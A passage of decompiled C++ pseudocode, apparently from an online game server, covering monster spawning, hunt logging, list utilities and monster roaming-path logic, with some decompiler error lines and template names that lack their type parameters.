( mobnumber <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_MobBreed : Minus mobnum", mobnumber); v17 = -mobnumber; } map_a = 0; if ( (unsigned int)v17 <= 0 ) { v19 = (#811 *)family; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); result = v19; } else { while ( 1 ) { v18 = *((_WORD *)v15 + 6); xya = v18; if ( (_WORD)v18 == -1 ) break; v19 = (#811 *)(*(int (__thiscall **)(MobRegenClass::MobBreederGroup *, int))(*(_DWORD *)v15 + 4))(v15, v18); if ( !v19 ) break; if ( family ) { if ( !v16 ) v16 = v19; } if ( !(unsigned __int8)MobRegenClass::MobBreeder::mb_MobBreed( v19, v15, mobid, itemindex, v17, regensec, regennum, v16, bandittemplete, droparea, dropmobid, lev) ) { (*(void (__thiscall **)(MobRegenClass::MobBreederGroup *, int))(*(_DWORD *)v15 + 8))(v15, xya); break; } ++map_a; if ( map_a >= v17 ) goto LABEL_15; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); result = 0; } return result; } // 4839A0: using guessed type int __thiscall MobRegenClass__MobBreeder__mb_MobBreed(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004840F0) -------------------------------------------------------- #811 *__thiscall MobHatchery::mh_MobBreed(MobHatchery *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev) { MobHatchery *v15; // esi@1 int v16; // eax@1 MobRegenClass::MobBreederGroup *v17; // eax@2 #811 *result; // eax@3 #811 *v19; // eax@4 #811 *v20; // esi@4 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_MobBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = *(_WORD *)((char *)v15 + (_DWORD)((char *)&wholesaver + 18857024) + 12); if ( (_WORD)v16 != -1 && (v17 = (MobRegenClass::MobBreederGroup *)(*(int (__stdcall **)(int))(*(_DWORD *)((char *)v15 + (_DWORD)((char *)&wholesaver + 18857024)) + 4))(v16)) != 0 ) { v19 = MobRegenClass::MobBreederGroup::mbg_MobBreed( v17, map_, xy, dir, mobid, itemindex, mobnumber, regensec, family, regennum, aitype, bandittemplete, droparea, dropmobid, lev); --funcallanalizer.fca_stackpoint; v20 = v19; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); result = v20; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_MobBreed"); result = 0; } return result; } //----- (00484220) -------------------------------------------------------- #error "484220: undefined or illegal type '#440' (funcsize=65)" //----- (00484330) -------------------------------------------------------- char __thiscall ListSearchSame::lid_Call(ListSearchSame *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { ListSearchSame *v3; // esi@1 char result; // al@2 v3 = this; if ( this->lss_compfunc(ele, this->lss_lst, handle, this->lss_key) ) { result = 1; } else { v3->lss_found.hnd = handle; v3->lss_found.element = ele; result = 0; } return result; } //----- (00484370) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::mhl_SendAll2Log(HuntLog::MobHuntLog *this, #440 *sp) { HuntLog::MobHuntLog *v2; // edi@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // edx@4 char v9; // al@4 HuntLog::MobHuntElement **v10; // ecx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HuntLog::MobHuntLog::mhl_SendAll2Log"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HuntLog::MobHuntLog::mhl_SendAll2Log"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.baseclass_0.l_Array[v2->baseclass_0.baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.baseclass_0.l_Array; v6 = v3; v7 = v3 < v4; v3 = v5[v3].ls_Next; if ( v7 && (v8 = 3 * v6, v9 = v5[v6].ls_IsActiv, v10 = (HuntLog::MobHuntElement **)&v5[4 * v8 / 0xCu], v9) ) HuntLog::MobHuntElement::mhe_Send2Log(*v10, sp); else HuntLog::MobHuntElement::mhe_Send2Log(0, sp); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HuntLog::MobHuntLog::mhl_SendAll2Log"); } //----- (00484460) -------------------------------------------------------- HuntLog::MobHuntElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *), unsigned __int16 *hnd, HuntLog::MobHuntElement *key) { HuntLog::MobHuntElement *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *); // [sp+8h] [bp-1Ch]@1 HuntLog::MobHuntElement *v8; // [sp+Ch] [bp-18h]@1 HuntLog::MobHuntElement *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004844D0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004845F0) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::mhl_Logging(HuntLog::MobHuntLog *this, #440 *a2, unsigned __int16 mobid, unsigned int hnd) { HuntLog::MobHuntLog *v4; // esi@1 unsigned __int16 v5; // di@1 HuntLog::MobHuntElement *v6; // eax@1 unsigned __int16 v7; // cx@2 int v8; // eax@4 int v9; // eax@5 unsigned int v10; // ecx@6 HuntLog::MobHuntElement key; // [sp+10h] [bp-14h]@1 int v12; // [sp+20h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "HuntingLog::MobHuntLog::mhl_Logging"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "HuntingLog::MobHuntLog::mhl_Logging"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = mobid; v12 = 0; key.mobid = mobid; v6 = List::l_Search( &v4->baseclass_0.baseclass_0, (int (__thiscall *)(HuntLog::MobHuntElement *, List *, unsigned __int16, HuntLog::MobHuntElement *))HuntLog::MobHuntElement::mhe_Compare, &mobid, &key); if ( v6 ) { ++v6->number; v7 = v6->number; v6->expgain += hnd; if ( v7 >= 0xFDE8u ) HuntLog::MobHuntElement::mhe_Send2Log(v6, a2); } else { v8 = v4->baseclass_0.baseclass_0.l_Finger.empty; if ( (_WORD)v8 != -1 ) { v9 = (int)v4->baseclass_0.baseclass_0.vfptr->l_AllocA((List *)v4, v8); if ( v9 ) { v10 = hnd; *(_WORD *)v9 = v5; *(_WORD *)(v9 + 2) = 1; *(_DWORD *)(v9 + 4) = v10; } } } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "HuntingLog::MobHuntLog::mhl_Logging"); } //----- (00484700) -------------------------------------------------------- void __thiscall CommonList::CommonList(CommonList *this, int size) { CommonList *v2; // esi@1 int v3; // eax@1 int v4; // edx@2 ListStruct *v5; // ecx@4 HuntLog::MobHuntElement *v6; // ebp@4 int v7; // ecx@4 v2 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, size); v2->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2->cl_Array = (HuntLog::MobHuntElement *)operator new__(8 * size); v3 = 0; if ( size > 0 ) { v4 = 0; do { if ( v3 < v2->baseclass_0.l_MaxSize ) { v5 = v2->baseclass_0.l_Array; v6 = v5[v4].ls_Content; v7 = (int)&v5[v4]; if ( !v6 ) *(_DWORD *)v7 = &v2->cl_Array[v3]; } ++v3; ++v4; } while ( v3 < size ); } } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004847A0) -------------------------------------------------------- void __thiscall HuntLog::MobHuntLog::MobHuntLog(HuntLog::MobHuntLog *this) { HuntLog::MobHuntLog *v1; // esi@1 v1 = this; CommonList::CommonList(&this->baseclass_0, 50); v1->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; } // 5B0D38: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004847C0) -------------------------------------------------------- bool __thiscall MobRoaming::MobRoamingPath::operator<(MobRoaming::MobRoamingPath *this, MobRoaming::MobRoamingPath *rpth) { int v2; // edx@1 int v3; // esi@1 int v4; // eax@5 v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[0]; v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[0]; if ( v2 == v3 && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[4], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[4], v2 == v3) && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[8], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[8], v2 == v3) && (v2 = *(_DWORD *)&this->mrp_GroupName.ort_Name[12], v3 = *(_DWORD *)&rpth->mrp_GroupName.ort_Name[12], v2 == v3) ) v4 = *(_DWORD *)&this->mrp_GroupName.ort_Name[16] - *(_DWORD *)&rpth->mrp_GroupName.ort_Name[16] < 0; else v4 = v2 - v3 < 0; return v4; } //----- (00484810) -------------------------------------------------------- void __thiscall MobRoamingPoint::mrp_Start(MobRoamingPoint *this) { this->mrp_Val._bf0 = 1; } //----- (00484820) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathGet(int this) { return *(_DWORD *)(this + 7448); } //----- (00484830) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::som_IsAttackedDuringRoaming(int this) { return (*(_BYTE *)(this + 8848) >> 3) & 1; } //----- (00484840) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 42; return result; } //----- (00484860) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00484880) -------------------------------------------------------- void __cdecl std::fill(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Val) { void *i; // eax@1 int v4; // edi@2 for ( i = _First; i != _Last; *(_WORD *)v4 = *(_WORD *)&_Val->EventIndex[30] ) { memcpy(i, _Val, 0x28u); v4 = (int)((char *)i + 40); i = (char *)i + 42; } } //----- (004848B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_RoamingPathSet(void *this, int roaming) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 1862) = roaming; if ( roaming ) *((_WORD *)v2 + 3726) = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RoamingPathSet"); } //----- (00484920) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Lbound(std::_Tree,std::allocator,0> > *this, MobRoaming::MobRoamingPath *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@1 int v4; // ebx@2 int v5; // edx@3 int v6; // edx@4 int v7; // edx@5 int v8; // esi@5 result = this->_Myhead; v3 = result->_Parent; if ( !v3->_Isnil ) { v4 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[0]; do { v5 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[0]; if ( v5 == v4 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[4]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[4]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[8]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[8]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[12]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[12]; if ( v7 == v8 ) { v7 = *(_DWORD *)&v3->_Myval.mrp_GroupName.ort_Name[16]; v8 = *(_DWORD *)&_Keyval->mrp_GroupName.ort_Name[16]; } } } v6 = v7 - v8; } else { v6 = v5 - v4; } if ( v6 >= 0 ) { result = v3; v3 = v3->_Left; } else { v3 = v3->_Right; } } while ( !v3->_Isnil ); } return result; } //----- (00484990) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004849F0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00484A50) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 49) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 49) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 49) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 49) ); if ( !*(_BYTE *)(v4 + 49) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 49); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00484AB0) -------------------------------------------------------- MobRoaming::PathElement *__cdecl std::copy_backward(MobRoaming::PathElement *_First, MobRoaming::PathElement *_Last, MobRoaming::PathElement *_Dest) { MobRoaming::PathElement *v3; // edx@1 MobRoaming::PathElement *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x2Au); } return result; } //----- (00484AE0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x34u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00484B20) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(MobRoaming::PathElement *_First, unsigned int _Count, MobRoaming::PathElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x2Au); v6 = (char *)v6 + 42; --v5; } while ( v5 ); } } //----- (00484B50) -------------------------------------------------------- std::list,std::allocator > >::iterator *__cdecl std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::list,std::allocator > >::iterator *v5; // ecx@1 std::list,std::allocator > >::iterator *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v5->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v5; } return result; } //----- (00484B80) -------------------------------------------------------- MobRoaming::PathElement *__cdecl std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, MobRoaming::PathElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // edx@1 MobRoaming::PathElement *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, *(const void **)&v5, 0x2Au); *(_DWORD *)&v5 += 42; } return result; } //----- (00484BC0) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingPath::mrp_RegenLoc(MobRoaming::MobRoamingPath *this, SHINE_XY_TYPE *loc) { MobRoaming::PathElement *v2; // eax@1 v2 = this->baseclass_0._Myfirst; if ( v2 ) { if ( this->baseclass_0._Mylast - v2 ) { loc->x = this->baseclass_0._Myfirst->x; loc->y = this->baseclass_0._Myfirst->y; } } } //----- (00484C00) -------------------------------------------------------- void __thiscall MobRoamingPoint::mrp_Next(MobRoamingPoint *this, MobRoaming::MobRoamingPath *roaming) { MobRoamingPoint *v2; // esi@1 __int16 v3; // ax@1 __int16 v4; // cx@2 MobRoaming::PathElement *v5; // ebp@2 int v6; // edx@2 int v7; // edi@3 signed __int64 v8; // qax@4 int v9; // eax@5 __int16 v10; // cx@6 MobRoaming::PathElement *v11; // eax@6 int v12; // eax@7 __int16 v13; // ax@9 char nm[4]; // [sp+4h] [bp-2Ch]@12 int v15; // [sp+8h] [bp-28h]@12 int v16; // [sp+Ch] [bp-24h]@12 int v17; // [sp+10h] [bp-20h]@12 int v18; // [sp+14h] [bp-1Ch]@12 char _[4]; // [sp+18h] [bp-18h]@12 int v20; // [sp+1Ch] [bp-14h]@12 int v21; // [sp+20h] [bp-10h]@12 int v22; // [sp+24h] [bp-Ch]@12 int v23; // [sp+28h] [bp-8h]@12 v2 = this; v3 = this->mrp_Val._bf0; if ( (unsigned __int16)this->mrp_Val._bf0 >> 8 < 0 ) { if ( v3 & 0x7FFF ) this->mrp_Val._bf0 = v3 ^ (v3 ^ (v3 - 1)) & 0x7FFF; else this->mrp_Val._bf0 = 1; } else { v4 = v3 ^ (v3 ^ (v3 + 1)) & 0x7FFF; v2->mrp_Val._bf0 = v4; v5 = roaming->baseclass_0._Myfirst; v6 = 0; if ( v5 ) { v8 = 818089009i64 * (unsigned int)((char *)roaming->baseclass_0._Mylast - (char *)v5); v7 = (SHIDWORD(v8) >> 3) + (HIDWORD(v8) >> 31); v6 = 0; } else { v7 = 0; } v9 = v4 & 0x7FFF; if ( v9 >= (unsigned int)v7 ) { v10 = v4 | 0x8000; v2->mrp_Val._bf0 = v10; v11 = roaming->baseclass_0._Myfirst; if ( v11 == (MobRoaming::PathElement *)v6 ) LOWORD(v12) = 0; else v12 = roaming->baseclass_0._Mylast - v11; v13 = v10 ^ (v10 ^ (v12 - 2)) & 0x7FFF; goto LABEL_10; } v23 = v6; v22 = v6; v21 = v6; v20 = v6; *(_DWORD *)_ = v6; strncpy(_, v5[v9].EventIndex, 0x14u); v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)nm = 0; strncpy(nm, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( !ORToken::operator__((ORToken *)_, (ORToken *)nm) ) { ORToken::ORToken((ORToken *)nm, "return"); if ( ORToken::operator__((ORToken *)_, (ORToken *)nm) ) { HIBYTE(v2->mrp_Val._bf0) |= 0x80u; v13 = v2->mrp_Val._bf0 ^ (v2->mrp_Val._bf0 ^ (std::vector>::size(&roaming->baseclass_0) - 2)) & 0x7FFF; LABEL_10: v2->mrp_Val._bf0 = v13; return; } ORToken::ORToken((ORToken *)nm, "rotate"); if ( ORToken::operator__((ORToken *)_, (ORToken *)nm) ) v2->mrp_Val._bf0 = 0; } } } //----- (00484DE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_NextPathPoint(void *this, int *a2, int dy, int distance) { int v4; // esi@1 int v5; // ecx@1 int v6; // ebx@1 char result; // al@2 int v8; // eax@3 signed int v9; // edx@4 int v10; // ebp@5 int v11; // eax@5 int v12; // edi@7 int v13; // ebx@7 int v14; // edx@8 int v15; // eax@8 int v16; // edi@9 int v17; // edx@9 int v18; // eax@9 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_NextPathPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; *(_DWORD *)dy = 0; *a2 = 0; v6 = *(_DWORD *)(v4 + 7448); if ( v6 ) { v8 = *(_DWORD *)(v6 + 4); if ( v8 ) { v9 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)(v6 + 8) - v8)) >> 32) >> 3; v5 = v9 + ((unsigned int)v9 >> 31); } v10 = v4 + 7452; v11 = *(_WORD *)(v4 + 7452) & 0x7FFF; if ( v5 > (unsigned int)v11 ) { v12 = *(_DWORD *)(42 * v11 + *(_DWORD *)(v6 + 4) + 2); v13 = *(_DWORD *)(*(_DWORD *)(v6 + 4) + 42 * v11 + 6); if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v12, v13) <= 0x64 ) { MobRoamingPoint::mrp_Next((MobRoamingPoint *)(v4 + 7452), *(MobRoaming::MobRoamingPath **)(v4 + 7448)); v14 = *(_DWORD *)(*(_DWORD *)(v4 + 7448) + 4); v15 = *(_WORD *)v10 & 0x7FFF; v13 = *(_DWORD *)(42 * v15 + v14 + 6); v12 = *(_DWORD *)(v14 + 42 * v15 + 2); *(_BYTE *)(v4 + 8848) &= 0xF7u; } *a2 = v12 - *(_DWORD *)ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4); v16 = *(_DWORD *)(ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v4) + 4); *(_DWORD *)dy = v13 - v16; *(_DWORD *)distance = DirectDistanceTable::ddt_Distance(&ddt, *a2, v13 - v16); v17 = *(_DWORD *)(v4 + 7448); v18 = *(_WORD *)v10 & 0x7FFF; *(_DWORD *)(v4 + 8832) = *(_DWORD *)(*(_DWORD *)(v17 + 4) + 42 * v18 + 2); *(_DWORD *)(v4 + 8836) = *(_DWORD *)(*(_DWORD *)(v17 + 4) + 42 * v18 + 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_NextPathPoint"); result = 0; } return result; } //----- (00485000) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_RegenSpotAsNextRoamingSpot(int this) { int v1; // edi@1 int v2; // eax@2 int v3; // esi@3 signed int v4; // edx@4 int v5; // eax@5 int v6; // eax@6 v1 = *(_DWORD *)(this + 7448); if ( v1 ) { v2 = *(_DWORD *)(v1 + 4); if ( v2 ) { v4 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)(v1 + 8) - v2)) >> 32) >> 3; v3 = v4 + ((unsigned int)v4 >> 31); } else { v3 = 0; } v5 = *(_WORD *)(this + 7452) & 0x7FFF; if ( v3 > (unsigned int)v5 ) { v6 = 42 * v5; *(_DWORD *)(this + 8832) = *(_DWORD *)(v6 + *(_DWORD *)(v1 + 4) + 2); *(_DWORD *)(this + 8836) = *(_DWORD *)(v6 + *(_DWORD *)(v1 + 4) + 6); } } } //----- (00485070) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, MobRoaming::MobRoamingPath *_Keyval) { MobRoaming::MobRoamingPath *v3; // edi@1 